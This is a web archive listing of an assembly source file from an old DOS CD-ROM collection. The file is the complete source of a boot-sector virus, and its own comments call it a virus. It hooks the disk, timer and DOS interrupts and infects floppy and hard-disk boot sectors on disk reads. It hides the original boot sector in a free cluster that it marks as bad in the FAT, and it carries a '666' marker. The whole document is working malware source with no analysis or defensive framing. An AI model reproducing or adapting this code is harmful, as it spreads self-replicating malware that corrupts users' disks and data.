home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BOOTHRS3.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  7KB  |  434 lines

  1.     .radix    16
  2. start:
  3.     jmp    begin
  4.  
  5.     db    'IBM  3.3'
  6.     dw    200
  7.     db    2
  8.     dw    1
  9.     db    2
  10.     dw    70
  11.     dw    2D0
  12.     db    0FDh
  13.     dw    2
  14.     dw    9
  15.     dw    2
  16.     dw    0
  17.  
  18. work    dd    ?
  19. count    db    ?
  20. drive    db    ?
  21. Fat_sec dw    ?
  22. old_boot    dw 666d
  23. flag        db ?
  24. sys_sec dw ?
  25.  
  26. ;Simulate PUSHA
  27.  
  28. pusha:
  29.     pop    word ptr cs:[sys_sec-start]
  30.     pushf
  31.     push    ax
  32.     push    bx
  33.     push    cx
  34.     push    dx
  35.     push    si
  36.     push    di
  37.     push    bp
  38.     push    ds
  39.     push    es
  40.     jmp    word ptr cs:[sys_sec-start]
  41.  
  42. ;Simulate POPA
  43.  
  44. popa:
  45.     pop    word ptr cs:[sys_sec-start]
  46.     pop    es
  47.     pop    ds
  48.     pop    bp
  49.     pop    di
  50.     pop    si
  51.     pop    dx
  52.     pop    cx
  53.     pop    bx
  54.     pop    ax
  55.     popf
  56.     jmp    word ptr cs:[sys_sec-start]
  57.  
  58. ;This procedure Reads/Writes the absolute sector in BX
  59. ;ES:BP must point I/O buffer
  60.  
  61. write:
  62.     mov    ah,3
  63.     jmp    short do_it
  64. read:
  65.     mov    ah,2
  66. do_it:
  67.     mov    al,1
  68.     xchg    ax,bx
  69.     add    ax,[001C]    ;Hidden sectors
  70.     xor    dx,dx
  71.     div    word ptr [0018]
  72.     inc    dl    ;Adjust dl because BIOS counts sectors from 1 (not from 0)
  73.     mov    ch,dl    ;dl is the first sector
  74.     xor    dx,dx
  75.     div    word ptr [001A] ;Cylinder  in AX
  76.     mov    cl,6        ;Set CX if cylinder is bigger than 512
  77.     shl    ah,cl
  78.     or    ah,ch
  79.     xchg    ax,cx
  80.     xchg    ch,cl
  81.     xchg    dh,dl
  82.     xchg    ax,bx
  83.  
  84. abs_read:
  85.     xchg    bx,bp
  86.     mov    dl,byte ptr [drive-start] ;dl is the drive
  87.     pushf
  88.     db    9A
  89. orig    dd    ?
  90.     jnc    ok_func
  91.     pop    ax
  92. ok_func:
  93.     ret
  94.  
  95.  
  96. begin:
  97.     xor    ax,ax    ;Virus begining
  98.     mov    bp,7C00
  99.     mov    ds,ax    ;Clear ds&ss
  100.     mov    ss,ax
  101.     mov    sp,bp    ;Set SP bellow virus
  102.     xchg    ax,di
  103.     mov    si,bp
  104.     mov    ax,2000 ;Copy virus somewhere in memory
  105.     mov    es,ax
  106.     mov    cx,0100
  107.     rep    movsw
  108.     push    es
  109.     mov    ax,offset here-start
  110.     push    ax
  111.     retf    ;go there
  112.  
  113.  
  114. here:
  115.     mov    ax,1234
  116.     cmp    [80*4],ax
  117.     mov    [80*4],ax
  118.     je    skip_this
  119.     les    bx,[1C*4]        ;Get old int 1Ch value
  120.     mov    cs:[work-start],bx
  121.     mov    cs:[work-start+2],es
  122.     mov    [1C*4],offset entry_1C-start    ;Set new value
  123.     mov    [1C*4+2],cs
  124.  
  125. skip_this:
  126.  
  127.     les    bx,[13*4]        ;Save original int 13h
  128.     mov    cs:[orig-start],bx
  129.     mov    cs:[orig-start+2],es
  130.     push    cs    ;DS=ES=CS
  131.     push    cs
  132.     pop    ds
  133.     pop    es
  134. again:
  135.     mov    ax,offset again-start
  136.     push    ax
  137.     xor    ah,ah        ;Initialize Floppy
  138.     mov    byte ptr [flag-start],ah
  139.     int    13
  140.     and    byte ptr [drive-start],80    ;Drive A: or C:
  141.     mov    bx,word ptr [old_boot-start]    ;Read second part
  142.     mov    bp,offset second-start
  143.     call    read
  144.     mov    bx,word ptr [old_boot-start]
  145.     inc    bx
  146.     xor    ax,ax
  147.     mov    es,ax
  148.     mov    bp,7C00
  149.     call    read        ;Read old Boot
  150.     db    0EA,00,7C,00,00 ;JMP 0000:7C00
  151.  
  152. entry_1C:
  153.     push    si
  154.     push    ds
  155.  
  156.     xor    si,si
  157.     mov    ds,si
  158.     cmp    [si+21*4],si
  159.     je    not_yet
  160.  
  161.     push    bx
  162.     push    es
  163.  
  164.     les    bx,cs:[si+work-start]
  165.     mov    [si+1C*4],bx
  166.     mov    [si+1C*4+2],es
  167.     les    bx,[si+21*4]
  168.     mov    word ptr cs:[si+jmp_21-start],bx
  169.     mov    word ptr cs:[si+jmp_21-start+2],es
  170.     mov    [si+21*4],offset go_on-start
  171.     mov    [si+21*4+2],cs
  172.  
  173.     pop    es
  174.     pop    bx
  175.  
  176. not_yet:
  177.     pop    ds
  178.     pop    si
  179.     iret
  180.  
  181. go_on:
  182.     call    pusha
  183.     cmp    ax,4B00
  184.     je    install
  185. return:
  186.     call    popa
  187.  
  188.     db    0EA
  189. jmp_21    dd    ?
  190.  
  191. install:
  192.  
  193.     mov    ah,52
  194.     int    21
  195.     xor    si,si
  196.     xor    di,di
  197.     mov    ds,es:[bx-02]
  198.     mov    bx,ds
  199.     mov    ax,[si+3]
  200.     add    [si+3],96
  201.     inc    bx
  202.     add    ax,bx
  203.     mov    es,ax
  204.     push    es
  205.     mov    ax,es:[si+3]
  206.     sub    ax,96
  207.     push    ax
  208.     mov    ax,[si+3]
  209.     add    ax,bx
  210.     mov    ds,ax
  211.     mov    byte ptr [si],'Z'
  212.     mov    [si+1],si
  213.     pop    [si+3]
  214.     pop    es
  215.     push    cs
  216.     pop    ds
  217.     mov    cx,0200
  218.     rep    movsw
  219.     mov    ax,word ptr [jmp_21-start]
  220.     mov    bx,word ptr [jmp_21-start+2]
  221.     mov    ds,cx
  222.     mov    [21*4],ax
  223.     mov    [21*4+2],bx
  224.     mov    ax,[13*4]
  225.     mov    bx,[13*4+2]
  226.     mov    es:[my-start],ax
  227.     mov    es:[my-start+2],bx
  228.     mov    [13*4],offset real-start
  229.     mov    [13*4+2],es
  230.     jmp    short return
  231.  
  232.  
  233. real:
  234.     call    pusha
  235.     cmp    ah,02
  236.     jne    exit
  237.     cmp    dl,81
  238.     ja    exit
  239.     mov    byte ptr cs:[drive-start],dl
  240. check:
  241.     xor    ax,ax
  242.     mov    ds,ax
  243.     mov    byte ptr cs:[flag-start],al
  244.     mov    al,byte ptr [043F]
  245.     push    dx
  246.     test    dl,80
  247.     jz    ok_drive
  248.     sub    dl,7F
  249.     shl    dx,1
  250.     shl    dx,1
  251.     dec    dx
  252. ok_drive:
  253.     inc    dx
  254.     test    al,dl
  255.     pop    dx
  256.     jnz    exit
  257.     push    cs
  258.     push    cs
  259.     pop    es
  260.     pop    ds
  261.     call    infect
  262. exit:
  263.     call    popa
  264. call_cur:
  265.     db    0EA
  266. my    dd    ?
  267.  
  268. ident    dw    01234
  269.     dw    0AA55
  270.  
  271.     second    label word
  272.  
  273.     db    '666'
  274.  
  275. infect:
  276.     push    dx
  277.     xor    ah,ah
  278.     int    1A
  279.     test    dl,01
  280.     pop    dx
  281.     jz    bad
  282.     mov    ax,0201
  283.     mov    dh,0
  284.     mov    cx,0001
  285.     mov    bp,offset buffer-start
  286.     call    abs_read
  287.     test    dl,80
  288.     jz    usual
  289.     mov    bx,offset buffer-start+01BE
  290.     mov    cx,0004
  291. search:
  292.     cmp    byte ptr [bx+4],1
  293.     je    okay
  294.     cmp    byte ptr [bx+4],4
  295.     je    okay
  296.     add    bx,10
  297.     loop    search
  298.     ret
  299.  
  300. okay:
  301.     mov    dx,[bx]
  302.     mov    cx,[bx+2]
  303.     mov    ax,0201
  304.     mov    bp,offset buffer-start
  305.     call    abs_read
  306. usual:
  307.     mov    si,offset buffer-start+3
  308.     mov    di,0003
  309.     mov    cx,1Bh
  310.     rep    movsb
  311.     cmp    [buffer-start+01FC],1234    ;Infected ?
  312.     jne    well
  313. bad:
  314.     ret
  315.  
  316. well:
  317.     cmp    [0Bh],200                ;Bytes in sector
  318.     jne    bad
  319.     cmp    byte ptr [0Dh],2            ;Sectors in 1 cluster
  320.     jb    bad
  321.     mov    cx,[0E] ;Reserved dectors
  322.     mov    al,[10] ;Copies of FAT
  323.     cbw
  324.     mul    word ptr [16]                ;FAT in sectors
  325.     add    cx,ax
  326.     mov    ax,20                    ;32 bytes
  327.     mul    word ptr [11]                ;Elements in the catalogue
  328.     mov    bx,1FF
  329.     add    ax,bx
  330.     inc    bx
  331.     div    bx
  332.     add    cx,ax
  333.     mov    word ptr [sys_sec-start],cx        ;system sectors
  334.     mov    ax,[0013]                ;Sectors on the disk
  335.     sub    ax,cx
  336.     mov    bl,[0Dh]                ;Sectors in cluster
  337.     xor    dx,dx
  338.     xor    bh,bh
  339.     div    bx
  340.     inc    ax                    ;AX=clusters on disk
  341.     mov    di,ax
  342.     and    byte ptr [flag-start],0FE
  343.     cmp    ax,0FF0
  344.     jbe    small
  345.     or    byte ptr [flag-start],1
  346. small:
  347.     mov    si,1
  348.     mov    bx,[0E] ;Where to read FAT from
  349.     dec    bx
  350.     mov    [Fat_sec-start],bx
  351.     mov    byte ptr [count-start],0FE
  352.  
  353. look_here:
  354.  
  355.     inc    word ptr [Fat_sec-start]    ;Next sector in FAT
  356.     mov    bx,[Fat_sec-start]
  357.     add    byte ptr [count-start],2    ;Adjust for new offset
  358.     mov    bp,offset buffer-start        ;BP points buffer
  359.     call    read                ;Read FAT's sector
  360.     jmp    short where
  361.  
  362. look:
  363.     mov    ax,3    ;Multiply by 1.5 rounded down to integer number
  364.     test    byte ptr [flag-start],1
  365.     je    go_1
  366.     inc    ax    ;For 16 bit FAT
  367. go_1:
  368.     mul    si
  369.     shr    ax,1
  370.     sub    ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes
  371.     mov    bx,ax
  372.     cmp    bx,1FF    ;If reached the end then load next FAT sector
  373.     jnb    look_here
  374.     mov    dx,[bx+buffer-start]    ;Information for this cluster
  375.     test    byte ptr [flag-start],01
  376.     jne    go_2
  377.     test    si,1
  378.     je    go_3
  379.     mov    cl,4
  380.     shr    dx,cl
  381. go_3:
  382.     and    dh,0F
  383. go_2:
  384.     or    dx,dx        ;Free cluster ?
  385.     jz    found
  386. where:
  387.     inc    si
  388.     cmp    si,di
  389.     jbe    look
  390.     ret
  391.  
  392. found:
  393.     mov    dx,0FFF7    ;Prepare for marking it as bad
  394.     test    byte ptr [flag-start],1
  395.     jnz    go_4
  396.     and    dh,0F
  397.     test    si,1
  398.     je    go_4
  399.     mov    cl,4
  400.     shl    dx,cl
  401. go_4:
  402.     or    [bx+buffer-start],dx    ;Set it in FAT
  403.     mov    bx,[Fat_sec-start]
  404.     mov    bp,offset buffer-start
  405.     call    write    ;Update 1'st FAT copy
  406.     mov    ax,si    ;Convert cluster address in si to sector number
  407.     sub    ax,2
  408.     mov    bl,byte ptr [0Dh]
  409.     xor    bh,bh
  410.     mul    bx
  411.     add    ax,[sys_sec-start]
  412.     mov    si,ax    ;Si is the sector that is free
  413.     xor    bx,bx
  414.     mov    bp,offset buffer-start
  415.     call    read    ;Read old BOOTSECTOR
  416.     mov    bx,si    ;Put it in a quiet place
  417.     inc    bx
  418.     mov    bp,offset buffer-start
  419.     call    write    ;Do that
  420.     mov    bx,si
  421.     mov    [old_boot-start],si
  422.     mov    bp,offset second-start
  423.     call    write
  424.     xor    bx,bx
  425.     xor    bp,bp
  426.     call    write
  427.     ret
  428.  
  429. this_        db    1024d-(this_-start) dup (0F6h)
  430.  
  431.     buffer label word
  432.  
  433.  
  434.